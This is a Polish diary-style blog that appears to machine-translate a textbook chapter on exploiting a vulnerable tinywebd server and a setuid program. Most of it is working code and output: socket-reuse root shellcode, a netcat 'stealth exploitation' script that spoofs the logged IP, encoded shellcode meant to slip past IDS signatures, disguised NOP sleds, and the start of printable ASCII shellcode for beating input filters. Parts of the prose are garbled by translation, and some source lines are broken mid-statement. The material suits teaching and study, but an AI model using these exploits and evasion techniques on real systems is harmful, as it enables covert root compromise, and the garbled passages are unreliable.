Drogi Pamiętniczku …
01.10.2020
Cała infrastruktura
Jak zawsze, szczegóły można ukryć na szerszym obrazie. Pojedynczy host zwykle istnieje w ramach pewnego rodzaju infrastruktury. Środki zaradcze, takie jak systemy wykrywania włamań (IDS) i systemy zapobiegania włamaniom (IPS), mogą wykryć nienormalny ruch sieciowy. Nawet proste pliki dziennika na routerach i zaporach mogą ujawniać nieprawidłowe połączenia, które wskazują na włamanie. W szczególności połączenie z portem 31337 używanym w naszym shellcode jest dużą czerwoną flagą. Możemy zmienić port na coś, co wygląda mniej podejrzanie; jednak, po prostu posiadanie serwera otwierającego połączenia wychodzące może być czerwoną flagą. Bardzo bezpieczna infrastruktura może nawet mieć konfigurację zapory z filtrami wyjściowymi, aby zapobiec połączeniom wychodzącym. W takich sytuacjach otwarcie nowego połączenia jest niemożliwe lub zostanie wykryte.
Ponowne użycie gniazd
W naszym przypadku nie ma potrzeby otwierania nowego połączenia, ponieważ mamy już otwarte gniazdo z żądania WWW. Odkąd myszkujemy wewnątrz demona tinyweb, przy niewielkim debugowaniu możemy ponownie wykorzystać istniejące gniazdo dla powłoki roota. Zapobiega to rejestrowaniu dodatkowych połączeń TCP i pozwala na wykorzystanie w przypadkach, gdy host docelowy nie może otworzyć połączeń wychodzących. Spójrz na kod źródłowy z tinywebd.c pokazany poniżej
Z wyjątkiem tinywebd.c
while(1) { // Accept loop
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
if(new_sockfd == -1)
fatal("accepting connection");
handle_connection(new_sockfd, &client_addr, logfd);
}
return 0;
}
/* This function handles the connection on the passed socket from the
* passed client address and logs to the passed FD. The connection is
* processed as a web request, and this function replies over the connected
* socket. Finally, the passed socket is closed at the end of the function.
*/
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
unsigned char *ptr, request[500], resource[500], log_buffer[500];
int fd, length;
length = recv_line(sockfd, request);
Niestety, sockfd przekazane do handle_connection () nieuchronnie zostanie nadpisane, abyśmy mogli nadpisać logfd. To nadpisanie ma miejsce przed uzyskaniem kontroli nad programem w kodzie powłoki, więc nie ma sposobu na odzyskanie poprzedniej wartości sockfd. Na szczęście main () przechowuje kolejną kopię deskryptora pliku gniazda w new_sockfd.
new_sockfd.
reader@hacking:~/booksrc $ ps aux | grep tinywebd
root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd
reader 1284 0.0 0.0 2880 748 pts/1 R+ 23:42 0:00 grep tinywebd
reader@hacking:~/booksrc $ gcc -g tinywebd.c
reader@hacking:~/booksrc $ sudo gdb -q-pid=478 --symbols=./a.out
warning: not using untrusted file "/home/reader/.gdbinit"
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
Attaching to process 478
/cow/home/reader/booksrc/tinywebd: No such file or directory.
A program is being debugged already. Kill it? (y or n) n
Program not killed.
(gdb) list handle_connection
77 /* This function handles the connection on the passed socket from the
78 * passed client address and logs to the passed FD. The connection is
79 * processed as a web request, and this function replies over the connected
80 * socket. Finally, the passed socket is closed at the end of the function.
81 */
82 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd)
{
83 unsigned char *ptr, request[500], resource[500], log_buffer[500];
84 int fd, length;
85
86 length = recv_line(sockfd, request);
(gdb) break 86
Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86.
(gdb) cont
Continuing.
Po ustawieniu punktu przerwania i kontynuowaniu programu narzędzie cichego exploita jest używane z innego terminala do łączenia się i wcześniejszego wykonywania.
Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbffff810, logfd=3) at
tinywebd.c:86
86 length = recv_line(sockfd, request);
(gdb) x/x &sockfd
0xbffff7e0: 0x0000000d
(gdb) x/x &new_sockfd
No symbol "new_sockfd" in current context.
(gdb) bt
#0 handle_connection (sockfd=13, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86
#1 0x08048fb7 in main () at tinywebd.c:72
(gdb) select-frame 1
(gdb) x/x &new_sockfd
0xbffff83c: 0x0000000d
(gdb) quit
The program is running. Quit anyway (and detach it)? (y or n) y
Detaching from program: , process 478
reader@hacking:~/booksrc $
Ten wynik debugowania pokazuje, że new_sockfd jest przechowywany pod 0xbffff83c w ramce stosu głównego. Używając tego, możemy utworzyć kod powłoki, który używa deskryptora pliku gniazda przechowywanego tutaj zamiast tworzenia nowego połączenia. Chociaż możemy po prostu użyć tego adresu bezpośrednio, istnieje wiele małych rzeczy, które mogą przesuwać pamięć stosu. Jeśli tak się stanie, a kod powłoki użyje zakodowanego adresu stosu, exploit zakończy się niepowodzeniem. Aby uczynić kod powłoki bardziej niezawodnym, weź pamięć z tego, jak kompilator obsługuje zmienne stosu. Jeśli użyjemy adresu w stosunku do ESP, to nawet jeśli stos zmieni się nieco, adres new_sockfd będzie nadal poprawny, ponieważ przesunięcie z ESP będzie takie samo. Jak pamiętasz z debugowania za pomocą kodu powłoki mark_break, ESP był 0xbffff7e0. Używając tej wartości dla ESP, przesunięcie jest pokazane jako 0x5c bajtów.
reader@hacking:~/booksrc $ gdb -q
(gdb) print /x 0xbffff83c - 0xbffff7e0
$1 = 0x5c
(gdb)
Poniższy kod powłoki ponownie wykorzystuje istniejące gniazdo dla powłoki głównej.
socket_reuse_restore.s
BITS 32
push BYTE 0x02 ; Fork is syscall #2
pop eax
int 0x80 ; After the fork, in child process eax == 0.
test eax, eax
jz child_process ; In child process spawns a shell.
; In the parent process, restore tinywebd.
lea ebp, [esp+0x68] ; Restore EBP.
push 0x08048fb7 ; Return address.
ret ; Return.
child_process:
; Re-use existing socket.
lea edx, [esp+0x5c] ; Put the address of new_sockfd in edx.
mov ebx, [edx] ; Put the value of new_sockfd in ebx.
push BYTE 0x02
pop ecx ; ecx starts at 2.
xor eax, eax
xor edx, edx
dup_loop:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80 ; dup2(c, 0)
dec ecx ; Count down to 0.
jns dup_loop ; If the sign flag is not set, ecx is not negative.
; execve(const char *filename, char *const argv [], char *const envp[])
mov BYTE al, 11 ; execve syscall #11
push edx ; push some nulls for string termination.
push 0x68732f2f ; push "//sh" to the stack.
push 0x6e69622f ; push "/bin" to the stack.
mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp.
push edx ; push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr.
int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
Aby skutecznie korzystać z tego kodu powłoki, potrzebujemy innego narzędzia do wykorzystywania, które pozwala nam wysyłać bufor exploitów, ale utrzymuje gniazdo na dalsze I / O. Ten drugi skrypt exploitów dodaje dodatkowe polecenie cat - na końcu bufora exploitów. Argument dash oznacza standardowe wejście. Uruchamianie cat na standardowym wejściu jest w pewnym sensie bezużyteczne samo w sobie, ale po przekazaniu komendy do netcata skutecznie wiąże standardowe wejście i wyjście z gniazdem sieciowym netcat. Poniższy skrypt łączy się z celem, wysyła bufor exploitów, a następnie utrzymuje gniazdo otwarte i pobiera dalsze dane z terminala. Odbywa się to za pomocą kilku modyfikacji narzędzia cichego exploita.
xtool_tinywebd_reuse.sh
#!/bin/sh
# Silent stealth exploitation tool for tinywebd
# also spoofs IP address stored in memory
# reuses existing socket-use socket_reuse shellcode
SPOOFIP="12.34.56.78"
SPOOFPORT="9090"
if [ -z "$2" ]; then # if argument 2 is blank
echo "Usage: $0 < shellcode file > < target IP >"
exit
fi
FAKEREQUEST="GET / HTTP/1.1\x00"
FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ')
OFFSET=540
RETADDR="\x24\xf6\xff\xbf" # at +100 bytes from buffer @ 0xbffff5c0
FAKEADDR="\xcf\xf5\xff\xbf" # +15 bytes from buffer @ 0xbffff5c0
echo "target IP: $2"
SIZE=`wc -c $1 | cut -f1 -d ' '`
echo "shellcode: $1 ($SIZE bytes)"
echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)"
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16))
echo "[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SIZE]
[ret
addr 128] [*fake_addr 8]"
(perl -e "print \"$FAKEREQUEST\"";
./addr_struct "$SPOOFIP" "$SPOOFPORT";
perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";
cat $1;
perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\"";
cat -;) | nc -v $2 80
Kiedy to narzędzie jest używane z kodem powłoki socket_reuse_restore, powłoka roota będzie obsługiwana przy użyciu tego samego gniazda, które jest używane do żądania WWW. Poniższe dane pokazują to reader@hacking:~/booksrc $ nasm socket_reuse_restore.s
reader@hacking:~/booksrc $ hexdump -C socket_reuse_restore
00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X..t.l$hh.|
00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 31 d2 |..T$\.j.Y1.1.|
00000020 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?.Iy..Rh//shh|
00000030 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |/bin.R.S..|
0000003e
reader@hacking:~/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh socket_reuse_restore 127.0.0.1
target IP: 127.0.0.1
shellcode: socket_reuse_restore (62 bytes)
fake request: "GET / HTTP/1.1\x00" (15 bytes)
[Fake Request 15] [spoof IP 16] [NOP 323] [shellcode 62] [ret addr 128] [*fake_addr 8]
localhost [127.0.0.1] 80 (www) open
whoami
root
Wykorzystując istniejące gniazdo, ten exploit jest jeszcze cichszy, ponieważ nie tworzy żadnych dodatkowych połączeń. Mniej połączeń oznacza mniej nieprawidłowości w wykrywaniu wszelkich środków zaradczych.
Powrót
02.10.2020
Przemyt ładunków
Wspomniane systemy sieciowe IDS lub IPS mogą zrobić więcej niż tylko śledzić połączenia - mogą również sprawdzać same pakiety. Zazwyczaj systemy te szukają wzorców, które oznaczałyby atak. Na przykład prosta reguła szukająca pakietów zawierających ciąg / bin / sh złapałaby wiele pakietów zawierających kod powłoki. Nasz ciąg / bin / sh jest już nieco zaciemniony, ponieważ jest przesyłany do stosu w kawałkach czterobajtowych, ale IDS sieci może również szukać pakietów zawierających ciągi / bin i // sh. Tego typu sygnatury sieciowe IDS mogą być dość skuteczne w łapaniu dzieciaków skryptów, którzy używają exploitów pobranych z Internetu. Są one jednak łatwo ominięte przez niestandardowy kod powłoki, który ukrywa wszelkie ciągi znaków.
Powrót
03.10.2020
Kodowanie ciągów
Aby ukryć ciąg, po prostu dodamy 5 do każdego bajtu w ciągu. Następnie, po wypchnięciu ciągu do stosu, kod powłoki odejmie 5 z każdego bajtu ciągu na stosie. Spowoduje to zbudowanie żądanego ciągu na stosie, tak aby mógł być użyty w skorupie kodu, a jednocześnie ukryty podczas transportu. Wyjście poniżej pokazuje obliczanie zakodowanych bajtów
reader@hacking:~/booksrc $ echo "/bin/sh" | hexdump -C
00000000 2f 62 69 6e 2f 73 68 0a |/bin/sh.|
00000008
reader@hacking:~/booksrc $ gdb -q
(gdb) print /x 0x0068732f + 0x05050505
$1 = 0x56d7834
(gdb) print /x 0x6e69622f + 0x05050505
$2 = 0x736e6734
(gdb) quit
reader@hacking:~/booksrc $
Poniższy kod powłoki wypycha zakodowane bajty na stos, a następnie dekoduje je w pętli. Ponadto dwie instrukcje int3 są używane do umieszczania punktów przerwania w kodzie powłoki przed i po dekodowaniu. Jest to łatwy sposób, aby zobaczyć, co dzieje się z GDB.
encoded_sockreuserestore_dbg.s
BITS 32
push BYTE 0x02 ; Fork is syscall #2.
pop eax
int 0x80 ; After the fork, in child process eax == 0.
test eax, eax
jz child_process ; In child process spawns a shell.
; In the parent process, restore tinywebd.
lea ebp, [esp+0x68] ; Restore EBP.
push 0x08048fb7 ; Return address.
ret ; Return
child_process:
; Re-use existing socket.
lea edx, [esp+0x5c] ; Put the address of new_sockfd in edx.
mov ebx, [edx] ; Put the value of new_sockfd in ebx.
push BYTE 0x02
pop ecx ; ecx starts at 2.
xor eax, eax
dup_loop:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80 ; dup2(c, 0)
dec ecx ; Count down to 0.
jns dup_loop ; If the sign flag is not set, ecx is not negative
; execve(const char *filename, char *const argv [], char *const envp[])
mov BYTE al, 11 ; execve syscall #11
push 0x056d7834 ; push "/sh\x00" encoded +5 to the stack.
push 0x736e6734 ; push "/bin" encoded +5 to the stack.
mov ebx, esp ; Put the address of encoded "/bin/sh" into ebx.
int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING)
push BYTE 0x8 ; Need to decode 8 bytes
pop edx
decode_loop:
sub BYTE [ebx+edx], 0x5
dec edx
jns decode_loop
int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING)
xor edx, edx
push edx ; push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr.
int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
Pętla dekodująca wykorzystuje rejestr EDX jako licznik. Zaczyna się od 8 i odlicza do 0, ponieważ trzeba zdekodować 8 bajtów. Dokładne adresy stosów nie mają znaczenia w tym przypadku, ponieważ wszystkie ważne części są względnie adresowane, więc poniższe dane nie przeszkadzają w dołączaniu do istniejącego procesu tinywebd.
reader@hacking:~/booksrc $ gcc -g tinywebd.c
reader@hacking:~/booksrc $ sudo gdb -q ./a.out
warning: not using untrusted file "/home/reader/.gdbinit"
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) set disassembly-flavor intel
(gdb) set follow-fork-mode child
(gdb) run
Starting program: /home/reader/booksrc/a.out
Starting tiny web daemon..
Ponieważ punkty przerwania są w rzeczywistości częścią kodu powłoki, nie ma potrzeby ustawiania jednego z GDB. Z innego terminala kod powłoki jest składany i używany z narzędziem wykorzystującym wielokrotne wykorzystanie gniazd.
Z innego terminala
reader@hacking:~/booksrc $ nasm encoded_sockreuserestore_dbg.s
reader@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh encoded_socketreuserestore_dbg
127.0.0.1
target IP: 127.0.0.1
shellcode: encoded_sockreuserestore_dbg (72 bytes)
fake request: "GET / HTTP/1.1\x00" (15 bytes)
[Fake Request 15] [spoof IP 16] [NOP 313] [shellcode 72] [ret addr 128] [*fake_addr 8]
localhost [127.0.0.1] 80 (www) open
W oknie GDB trafia pierwsza instrukcja int3 w kodzie powłoki. Od tego momentu możemy sprawdzić, czy ciąg dekoduje poprawnie.
Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 12400]
0xbffff6ab in ?? ()
(gdb) x/10i $eip
0xbffff6ab: push 0x8
0xbffff6ad: pop edx
0xbffff6ae: sub BYTE PTR [ebx+edx],0x5
0xbffff6b2: dec edx
0xbffff6b3: jns 0xbffff6ae
0xbffff6b5 int3
0xbffff6b6: xor edx,edx
0xbffff6b8: push edx
0xbffff6b9: mov edx,esp
0xbffff6bb: push ebx
(gdb) x/8c $ebx
0xbffff738: 52 '4' 103 'g' 110 'n' 115 's' 52 '4' 120 'x' 109 'm' 5 '\005'
(gdb) cont
Continuing.
[tcsetpgrp failed in terminal_inferior: Operation not permitted]
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff6b6 in ?? ()
(gdb) x/8c $ebx
0xbffff738: 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's' 104 'h' 0 '\0'
(gdb) x/s $ebx
0xbffff738: "/bin/sh"
(gdb)
Teraz, gdy dekodowanie zostało zweryfikowane, instrukcje int3 można usunąć z kodu powłoki. Poniższy wynik pokazuje ostatni używany kod powłoki.
reader@hacking:~/booksrc $ sed -e 's/int3/;int3/g' encoded_sockreuserestore_dbg.s >
encoded_sockreuserestore.s
reader@hacking:~/booksrc $ diff encoded_sockreuserestore_dbg.s encoded_sockreuserestore.s
33c33
< int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING)
> ;int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING)
42c42
< int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING)
> ;int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING)
reader@hacking:~/booksrc $ nasm encoded_sockreuserestore.s
reader@hacking:~/booksrc $ hexdump -C encoded_sockreuserestore
00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X....t..l$hh..|
00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 b0 3f |....T$\..j.Y1..?|
00000020 cd 80 49 79 f9 b0 0b 68 34 78 6d 05 68 34 67 6e |..Iy...h4xm.h4gn|
00000030 73 89 e3 6a 08 5a 80 2c 13 05 4a 79 f9 31 d2 52 |s..j.Z.,..Jy.1.R|
00000040 89 e2 53 89 e1 cd 80 |..S....|
00000047
reader@hacking:~/booksrc $ ./tinywebd
Starting tiny web daemon..
reader@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh encoded_sockreuserestore 127.0.0.1
target IP: 127.0.0.1
shellcode: encoded_sockreuserestore (71 bytes)
fake request: "GET / HTTP/1.1\x00" (15 bytes)
[Fake Request 15] [spoof IP 16] [NOP 314] [shellcode 71] [ret addr 128] [*fake_addr 8]
localhost [127.0.0.1] 80 (www) open
whoami
root
Powrót
04.10.2020
Jak ukryć sanki
SOP NOP to kolejna sygnatura łatwa do wykrycia przez sieci IDS i IPSes. Duże bloki 0x90 nie są tak powszechne, więc jeśli mechanizm bezpieczeństwa sieci widzi coś takiego, prawdopodobnie jest to exploit. Aby uniknąć tego podpisu, możemy użyć różnych instrukcji jednobajtowych zamiast NOP. Istnieje kilka jednobajtowych instrukcji - instrukcji przyrostu i dekrementacji dla różnych rejestrów - które są również drukowalnymi znakami ASCII.
inc eax : 0x40 : @
inc ebx : 0x43 : C
inc ecx : 0x41 : A
inc ecx : 0x42 : B
dec eax : 0x48 : H
dec ebx : 0x4B : K
dec ecx : 0x49 : I
dec edx : 0x4A : J
Ponieważ zerujemy te rejestry przed ich użyciem, możemy bezpiecznie użyć losowej kombinacji tych bajtów dla sań NOP. Stworzenie nowego narzędzia exploitów, które wykorzystuje losowe kombinacje bajtów @, C, A, B, H, K, I i J zamiast zwykłego NOP, zostanie pozostawione jako ćwiczenie dla czytelnika. Najłatwiej to zrobić, pisząc program generujący sanie w języku C, który jest używany ze skryptem BASH. Ta modyfikacja ukryje bufor exploitów z IDS, który szuka sanek NOP.
Powrót
05.10.2020
Ograniczenia bufora
Czasami program nakłada pewne ograniczenia na bufory. Ten typ sprawdzania poprawności danych może zapobiec wielu lukom w zabezpieczeniach. Rozważmy następujący przykładowy program, który służy do aktualizacji opisów produktów w fikcyjnej bazie danych. Pierwszy argument to kod produktu, a drugi to zaktualizowany opis. Ten program nie aktualizuje bazy danych, ale ma w niej oczywistą lukę.
update_info.c
#include < stdio.h >
#include < stdlib.h >
#include < string.h >
#define MAX_ID_LEN 40
#define MAX_DESC_LEN 500
/* Barf a message and exit. */
void barf(char *message, void *extra) {
printf(message, extra);
exit(1);
}
/* Pretend this function updates a product description in a database. */
void update_product_description(char *id, char *desc)
{
char product_code[5], description[MAX_DESC_LEN];
printf("[DEBUG]: description is at %p\n", description);
strncpy(description, desc, MAX_DESC_LEN);
strcpy(product_code, id);
printf("Updating product #%s with description \'%s\'\n", product_code, desc);
// Update database
}
int main(int argc, char *argv[], char *envp[])
{
int i;
char *id, *desc;
if(argc < 2) v
barf("Usage: %s
id = argv[1]; // id - Product code to update in DB
desc = argv[2]; // desc - Item description to update
if(strlen(id) > MAX_ID_LEN) // id must be less than MAX_ID_LEN bytes.
barf("Fatal: id argument must be less than %u bytes\n", (void *)MAX_ID_LEN);
for(i=0; i < strlen(desc)-1; i++) { // Only allow printable bytes in desc.
if(!(isprint(desc[i])))
barf("Fatal: description argument can only contain printable bytes\n", NULL);
}
// Clearing out the stack memory (security)
// Clearing all arguments except the first and second
memset(argv[0], 0, strlen(argv[0]));
for(i=3; argv[i] != 0; i++)
memset(argv[i], 0, strlen(argv[i]));
// Clearing all environment variables
for(i=0; envp[i] != 0; i++)
memset(envp[i], 0, strlen(envp[i]));
printf("[DEBUG]: desc is at %p\n", desc);
update_product_description(id, desc); // Update database.
}
Pomimo tej luki kod nie podejmuje próby zabezpieczenia. Długość argumentu ID produktu jest ograniczona, a zawartość argumentu opisu jest ograniczona do znaków drukowalnych. Ponadto nieużywane zmienne środowiskowe i argumenty programu są usuwane ze względów bezpieczeństwa. Pierwszy argument (id) jest zbyt mały dla kodu powłoki, a ponieważ reszta pamięci stosu została wyczyszczona, pozostało tylko jedno miejsce.
reader@hacking:~/booksrc $ gcc -o update_info update_info.c
reader@hacking:~/booksrc $ sudo chown root ./update_info
reader@hacking:~/booksrc $ sudo chmod u+s ./update_info
reader@hacking:~/booksrc $ ./update_info
Usage: ./update_info < id > < description >
reader@hacking:~/booksrc $ ./update_info OCP209 "Enforcement Droid"
[DEBUG]: description is at 0xbffff650
Updating product #OCP209 with description 'Enforcement Droid'
reader@hacking:~/booksrc $
reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "AAAA"x10') blah
[DEBUG]: description is at 0xbffff650
Segmentation fault
reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "\xf2\xf9\xff\xbf"x10') $(cat ./
shellcode.bin)
Fatal: description argument can only contain printable bytes
reader@hacking:~/booksrc $
Ten wynik pokazuje przykładowe użycie, a następnie próbuje wykorzystać wrażliwe wywołanie strcpy (). Chociaż adres zwrotny można nadpisać za pomocą pierwszego argumentu (id), jedynym miejscem, w którym możemy umieścić kod powłoki, jest drugi argument (desc). Jednak ten bufor jest sprawdzany pod kątem niedrukowalnych bajtów. Wyjście do debugowania poniżej potwierdza, że ten program może zostać wykorzystany, jeśli istnieje sposób na umieszczenie kodu powłoki w argumencie opisu.
reader@hacking:~/booksrc $ gdb -q ./update_info
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1"
(gdb) run $(perl -e 'print "\xcb\xf9\xff\xbf"x10') blah
The program being debugged has been started already
Start it from the beginning? (y or n) y
Starting program: /home/reader/booksrc/update_info $(perl -e 'print "\xcb\xf9\xff\
xbf"x10')
blah
[DEBUG]: desc is at 0xbffff9cb
Updating product # with description 'blah'
Program received signal SIGSEGV, Segmentation fault.
0xbffff9cb in ?? ()
(gdb) i r eip
eip 0xbffff9cb 0xbffff9cb
(gdb) x/s $eip
0xbffff9cb: "blah"
(gdb)
(gdb)
Walidacja danych wejściowych do druku jest jedyną rzeczą, która zatrzymuje wykorzystywanie. Podobnie jak ochrona lotniska, ta pętla sprawdzania danych wejściowych sprawdza wszystko, co nadchodzi. I chociaż nie można uniknąć tego sprawdzenia, istnieją sposoby na przemycenie nielegalnych danych przez strażników
Powrót
06.10.2020
Polymorphic Printable ASCII Shellcode
Polimorficzny kod powłoki odnosi się do dowolnego kodu powłoki, który się zmienia. Kodowanie kodu powłoki z poprzedniej sekcji jest technicznie polimorficzne, ponieważ modyfikuje łańcuch, którego używa podczas działania. Nowe sanki NOP używają instrukcji, które składają się na bajty ASCII, które można wydrukować. Istnieją inne instrukcje, które należą do tego zakresu drukowania (od 0x33 do 0x7e); jednak całkowity zestaw jest właściwie niewielki. Celem jest napisanie kodu powłoki, który przejdzie kontrolę nad drukowalnym znakiem. Próba napisania złożonego kodu powłoki z tak ograniczonym zestawem instrukcji byłaby po prostu masochistyczna, więc zamiast tego kod powłoki do druku użyje prostych metod do zbudowania bardziej złożonego kodu powłoki na stosie. W ten sposób kod powłoki może być w rzeczywistości instrukcją tworzenia prawdziwego kodu powłoki. Pierwszym krokiem jest znalezienie sposobu na wyzerowanie rejestrów. Niestety, instrukcja XOR w różnych rejestrach nie składa się w zakres znaków ASCII do druku. Jedną z opcji jest użycie operacji bitowej AND, która tworzy znak procentu (%) podczas używania rejestru EAX. Instrukcja zespołu i eax, 0x41414141 zostaną połączone w kod maszynowy do wydruku% AAAA, ponieważ 0x41 w szesnastkowy jest drukowalnym znakiem A. Operacja AND przekształca bity w następujący sposób:
1 and 1 = 1
0 and 0 = 0
1 and 0 = 0
0 and 1 = 0
Ponieważ jedynym przypadkiem, w którym wynikiem jest 1, gdy oba bity są 1, jeśli dwie wartości odwrotne są AND na EAX, EAX stanie się zerem.
Binarny : szesnastkowy
1000101010011100100111101001010 : 0x454e4f4a
AND 0111010001100010011000000110101 : I 0x3a313035
------------------------------------ -------------- -
0000000000000000000000000000000 0x00000000
Zatem, wykorzystując dwie drukowane wartości 32-bitowe, które są odwrotnymi bitami siebie, rejestr EAX może być wyzerowany bez użycia żadnych bajtów zerowych, a powstały złożony kod maszynowy będzie tekstem do wydrukowania.
and eax, 0x454e4f4a; Składa się w% JONE
and eax, 0x3a313035; Składa się w% 501:
Więc% JONE% 501: w kodzie maszyny wyzeruje rejestr EAX. Ciekawy. Niektóre inne instrukcje, które składają się na drukowane znaki ASCII, są pokazane w poniższym polu.
sub eax, 0x41414141 -AAAA
push eax P
pop eax X
naciśnij esp T
pop esp
O dziwo, instrukcje te, w połączeniu z instrukcją AND eax, są wystarczające do zbudowania kodu programu ładującego, który wstrzyknie kod powłoki na stos, a następnie go wykona. Ogólna technika polega, po pierwsze, na przywróceniu ESP za wykonującym się kodem ładującym (w wyższych adresach pamięci), a następnie na zbudowaniu kodu powłoki od końca do początku przez pchanie wartości na stos, jak pokazano tutaj. Ponieważ stos rośnie (od wyższych adresów pamięci do niższych adresów pamięci), ESP przesunie się do tyłu, gdy wartości zostaną wypchnięte do stosu, a EIP przesunie się do przodu, gdy wykona się kod ładowania. Ostatecznie EIP i ESP spotkają się, a EIP będzie kontynuował wykonywanie do świeżo zbudowanego kodu powłoki
Po pierwsze, ESP musi być ustawiony za kodem powłoki do druku. Trochę debugowania za pomocą GDB pokazuje, że po uzyskaniu kontroli nad wykonywaniem programu ESP ma 555 bajtów przed rozpoczęciem bufora przepełnienia (który będzie zawierał kod programu ładującego). Rejestr ESP musi zostać przeniesiony, aby znajdował się po kodzie programu ładującego, pozostawiając jednocześnie miejsce na nowy kod powłoki i sam kod powłoki loader. Około 300 bajtów powinno być wystarczająco dużo miejsca, więc dodajmy 860 bajtów do ESP, aby umieścić 305 bajtów za początkiem kodu ładującego. Ta wartość nie musi być dokładna, ponieważ w późniejszym terminie zostaną wprowadzone przepisy, które pozwolą na pewne nachylenie. Ponieważ jedyną użyteczną instrukcją jest odejmowanie, można symulować dodawanie, odejmując tyle od rejestru, który otacza. Rejestr ma tylko 32 bity przestrzeni, więc dodanie 860 do rejestru jest takie samo, jak odjęcie 860 od 232 lub 4,294,966,436. Jednak to odejmowanie musi używać tylko wartości drukowanych, więc dzielimy je na trzy instrukcje, z których wszystkie używają operandów do druku.
sub eax, 0x39393333; Składa się w -3399
sub eax, 0x72727550; Składa się w -Purr
sub eax, 0x54545421; Składa się w -! TTT
Jak potwierdza wynik GDB, odjęcie tych trzech wartości od liczby 32-bitowej jest takie samo, jak dodanie do niej 860.
reader@hacking:~/booksrc $ gdb -q
(gdb) print 0 - 0x39393333 - 0x72727550 - 0x54545421
$1 = 860
(gdb)
Celem jest odjęcie tych wartości od ESP, a nie EAX, ale instrukcja sub esp nie składa się w drukowalny znak ASCII. Tak więc bieżąca wartość ESP musi zostać przeniesiona do EAX dla odejmowania, a następnie nowa wartość EAX musi zostać przeniesiona z powrotem do ESP. Jednakże, ponieważ ani mov esp, eax ani mov eax, esp nie są montowane w drukowalne znaki ASCII, wymiana ta musi zostać wykonana przy użyciu stosu. Przesuwając wartość z rejestru źródłowego do stosu, a następnie wyrzucając ją do rejestru docelowego, można uzyskać odpowiednik instrukcji mov dest, instrukcji źródłowej za pomocą źródła push i destrukcyjnego. Na szczęście instrukcje pop i push dla rejestrów EAX i ESP gromadzą się w postaci drukowalnych znaków ASCII, więc wszystko to można wykonać za pomocą drukowalnego ASCII. Oto ostatni zestaw instrukcji, aby dodać 860 do ESP.
push esp ; Assembles into T
pop eax ; Assembles into X
sub eax, 0x39393333 ; Assembles into -3399
sub eax, 0x72727550 ; Assembles into -Purr
sub eax, 0x54545421 ; Assembles into -!TTT
push eax ; Assembles into P
pop esp ; Assembles into \
Oznacza to, że TX-3399-Purr-! TTT-P doda 860 do ESP w kodzie maszynowym. Jak na razie dobrze. Teraz musi zostać zbudowany kod powłoki. Po pierwsze, EAX musi być wyzerowane; jest to łatwe teraz, gdy odkryto metodę. Następnie, używając większej liczby podinstrukcji, rejestr EAX musi być ustawiony na ostatnie cztery bajty kodu powłoki, w odwrotnej kolejności. Ponieważ stos zwykle rośnie w górę (w kierunku niższych adresów pamięci) i buduje z porządkiem FILO, pierwszą wartością wypychaną do stosu muszą być cztery ostatnie bajty kodu powłoki. Te bajty muszą być w odwrotnej kolejności, z powodu kolejności bajtów w małym endianie. Poniższy wynik pokazuje szesnastkowy zrzut standardowego kodu powłoki używanego w poprzednich rozdziałach, który zostanie zbudowany przez kod programu ładującego do druku.
reader@hacking:~/booksrc $ hexdump -C ./shellcode.bin
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
00000020 e1 cd 80 |...|
